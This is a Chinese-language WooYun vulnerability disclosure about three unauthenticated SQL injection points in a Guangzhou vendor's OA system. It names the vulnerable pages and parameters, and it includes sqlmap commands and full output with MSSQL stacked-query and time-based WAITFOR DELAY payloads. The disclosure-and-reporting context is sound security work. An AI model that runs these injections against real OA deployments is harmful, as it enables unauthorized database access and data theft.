漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0128271
漏洞标题:某通用型OA系统存在3处POST注入(不需登录)
相关厂商:广州致翔计算机科技有限公司
漏洞作者: aaaaty
提交时间:2015-07-25 12:32
修复时间:2015-10-26 08:12
公开时间:2015-10-26 08:12
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:12
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-07-25: 细节已通知厂商并且等待厂商处理中
2015-07-28: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-07-31: 细节向第三方安全合作伙伴开放
2015-09-21: 细节向核心白帽子及相关领域专家公开
2015-10-01: 细节向普通白帽子公开
2015-10-11: 细节向实习白帽子公开
2015-10-26: 细节向公众公开
简要描述:
某通用型OA系统存在3处POST注入(不需登录)
详细说明:
致翔信息由广州致翔计算机科技有限公司和深圳致翔云信息技术有限公司组成,在各地还有多家办事处,是以IT软件技术和管理不断创新为核心的客户需求导向型的信息技术公司。
SQL注入: #1************************ /MyWork/MySet/SysLog.aspx
POST注入 参数:SortText
http://**.**.**.**/MyWork/MySet/SysLog.aspx
#2***************************** /MyWork/MySet/MyUserList_update.aspx?id=x
x为任意值 POST注入 参数: GlRealname (POST)
http://**.**.**.**/MyWork/MySet/MyUserList_update.aspx?id=6
C:\Python27\sqlmap>sqlmap.py -u "http://**.**.**.**/MyWork/MySet/MyUserL
ist_update.aspx?id=6 " --forms -p "GlRealname"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150519}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 09:12:20
[09:12:20] [INFO] testing connection to the target URL
[09:12:21] [INFO] searching for forms
[#1] form:
POST http://**.**.**.**:80/MyWork/MySet/MyUserList_update.aspx?id=6
POST data: __VIEWSTATE=%2FwEPDwUKMTc3ODY4MDcwMGRkG%2FLMZgLdvDI%2FG0B54lFmXEcebA4
%3D&Name=&GlRealname=&Paixun=0&Button1=%CC%E1%20%BD%BB&GlUsername=
do you want to test this form? [Y/n/q]
> Y
Edit POST data [default: __VIEWSTATE=%2FwEPDwUKMTc3ODY4MDcwMGRkG%2FLMZgLdvDI%2FG
0B54lFmXEcebA4%3D&Name=&GlRealname=&Paixun=0&Button1=%CC%E1%20%BD%BB&GlUsername=
] (Warning: blank fields detected):
do you want to fill blank fields with random values? [Y/n] Y
[09:12:26] [INFO] using 'C:\Users\Administrator\.sqlmap\output\results-07222015_
0912am.csv' as the CSV results file in multiple targets mode
[09:12:26] [INFO] heuristically checking if the target is protected by some kind
of WAF/IPS/IDS
[09:12:26] [INFO] it appears that the target is not protected
[09:12:26] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[09:12:28] [INFO] target URL is stable
[09:12:28] [WARNING] heuristic (basic) test shows that POST parameter 'GlRealnam
e' might not be injectable
[09:12:28] [INFO] testing for SQL injection on POST parameter 'GlRealname'
[09:12:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:12:29] [WARNING] reflective value(s) found and filtering out
[09:12:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[09:12:41] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[09:12:43] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[09:12:48] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[09:12:52] [INFO] testing 'MySQL inline queries'
[09:12:52] [INFO] testing 'PostgreSQL inline queries'
[09:12:53] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[09:12:53] [INFO] testing 'Oracle inline queries'
[09:12:53] [INFO] testing 'SQLite inline queries'
[09:12:54] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[09:12:54] [CRITICAL] considerable lagging has been detected in connection respo
nse(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or
more)
[09:12:56] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[09:13:00] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[09:13:17] [INFO] POST parameter 'GlRealname' seems to be 'Microsoft SQL Server/
Sybase stacked queries' injectable
[09:13:17] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[09:13:28] [INFO] POST parameter 'GlRealname' seems to be 'Microsoft SQL Server/
Sybase time-based blind' injectable
[09:13:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[09:13:28] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[09:13:38] [INFO] checking if the injection point on POST parameter 'GlRealname'
is a false positive
POST parameter 'GlRealname' is vulnerable. Do you want to keep testing the other
s (if any)? [y/N] N
sqlmap identified the following injection points with a total of 94 HTTP(s) requ
ests:
---
Parameter: GlRealname (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: __VIEWSTATE=/wEPDwUKMTc3ODY4MDcwMGRkG/LMZgLdvDI/G0B54lFmXEcebA4=&Na
me=xNQs&GlRealname='; WAITFOR DELAY '0:0:5'--&Paixun=0&Button1=%CC%E1 %BD%BB&GlU
sername=ATWc
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __VIEWSTATE=/wEPDwUKMTc3ODY4MDcwMGRkG/LMZgLdvDI/G0B54lFmXEcebA4=&Na
me=xNQs&GlRealname=' WAITFOR DELAY '0:0:5'--&Paixun=0&Button1=%CC%E1 %BD%BB&GlUs
ername=ATWc
---
do you want to exploit this SQL injection? [Y/n] Y
[09:14:05] [INFO] testing Microsoft SQL Server
[09:14:05] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
[09:14:10] [INFO] confirming Microsoft SQL Server
[09:14:22] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[09:14:22] [INFO] you can find results of scanning in multiple targets mode insi
de the CSV file 'C:\Users\Administrator\.sqlmap\output\results-07222015_0912am.c
sv'
[*] shutting down at 09:14:22
#3**************************************** /MyWork/MySet/OftenModle_update.aspx?id=x
x为任意值 参数: Name (POST)
http://**.**.**.**:80/MyWork/MySet/OftenModle_update.aspx?id=55
C:\Python27\sqlmap>sqlmap.py -u "http://**.**.**.**/MyWork/MySet/OftenMo
dle_update.aspx?id=55" --forms -p "Name"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150519}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 09:16:58
[09:16:58] [INFO] testing connection to the target URL
[09:16:58] [INFO] searching for forms
[#1] form:
POST http://**.**.**.**:80/MyWork/MySet/OftenModle_update.aspx?id=55
POST data: __VIEWSTATE=%2FwEPDwUJNjU2NDE3MDUyZGSvuETczwNAiBkg0FPbaoiEFygd2g%3D%3
D&Name=&Sharing=%B7%F1&SharingRealname=&Button1=%C8%B7%20%B6%A8&SharingUsername=
&ContractContent=&ContractContentupdate=
do you want to test this form? [Y/n/q]
> y
Edit POST data [default: __VIEWSTATE=%2FwEPDwUJNjU2NDE3MDUyZGSvuETczwNAiBkg0FPba
oiEFygd2g%3D%3D&Name=&Sharing=%B7%F1&SharingRealname=&Button1=%C8%B7%20%B6%A8&Sh
aringUsername=&ContractContent=&ContractContentupdate=] (Warning: blank fields d
etected):
do you want to fill blank fields with random values? [Y/n] y
[09:17:02] [INFO] using 'C:\Users\Administrator\.sqlmap\output\results-07222015_
0917am.csv' as the CSV results file in multiple targets mode
[09:17:02] [INFO] heuristically checking if the target is protected by some kind
of WAF/IPS/IDS
[09:17:03] [INFO] it appears that the target is not protected
[09:17:03] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[09:17:04] [INFO] target URL is stable
[09:17:05] [WARNING] heuristic (basic) test shows that POST parameter 'Name' mig
ht not be injectable
[09:17:05] [INFO] testing for SQL injection on POST parameter 'Name'
[09:17:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:17:05] [WARNING] reflective value(s) found and filtering out
[09:17:12] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[09:17:14] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[09:17:18] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[09:17:21] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[09:17:23] [INFO] testing 'MySQL inline queries'
[09:17:23] [INFO] testing 'PostgreSQL inline queries'
[09:17:24] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[09:17:24] [INFO] testing 'Oracle inline queries'
[09:17:25] [INFO] testing 'SQLite inline queries'
[09:17:25] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[09:17:27] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[09:17:29] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[09:17:41] [INFO] POST parameter 'Name' seems to be 'Microsoft SQL Server/Sybase
stacked queries' injectable
[09:17:41] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[09:17:52] [INFO] POST parameter 'Name' seems to be 'Microsoft SQL Server/Sybase
time-based blind' injectable
[09:17:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[09:17:52] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[09:18:00] [INFO] checking if the injection point on POST parameter 'Name' is a
false positive
POST parameter 'Name' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] n
sqlmap identified the following injection points with a total of 94 HTTP(s) requ
ests:
---
Parameter: Name (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: __VIEWSTATE=/wEPDwUJNjU2NDE3MDUyZGSvuETczwNAiBkg0FPbaoiEFygd2g==&Na
me=stYH'; WAITFOR DELAY '0:0:5'--&Sharing=%B7%F1&SharingRealname=bVVB&Button1=%C
8%B7 %B6%A8&SharingUsername=QDwZ&ContractContent=&ContractContentupdate=JoMi
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __VIEWSTATE=/wEPDwUJNjU2NDE3MDUyZGSvuETczwNAiBkg0FPbaoiEFygd2g==&Na
me=stYH' WAITFOR DELAY '0:0:5'--&Sharing=%B7%F1&SharingRealname=bVVB&Button1=%C8
%B7 %B6%A8&SharingUsername=QDwZ&ContractContent=&ContractContentupdate=JoMi
---
do you want to exploit this SQL injection? [Y/n] y
[09:18:21] [INFO] testing Microsoft SQL Server
[09:18:21] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
[09:18:29] [INFO] confirming Microsoft SQL Server
[09:18:40] [INFO] adjusting time delay to 3 seconds due to good response times
[09:18:41] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[09:18:41] [INFO] you can find results of scanning in multiple targets mode insi
de the CSV file 'C:\Users\Administrator\.sqlmap\output\results-07222015_0917am.c
sv'
[*] shutting down at 09:18:41
漏洞证明:
修复方案:
版权声明:转载请注明来源 aaaaty@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:11
确认时间:2015-07-28 08:10
厂商回复:
CNVD确认并复现所述情况,已经由CNVD通过软件生产厂商公开联系渠道向其通报.
最新状态:
暂无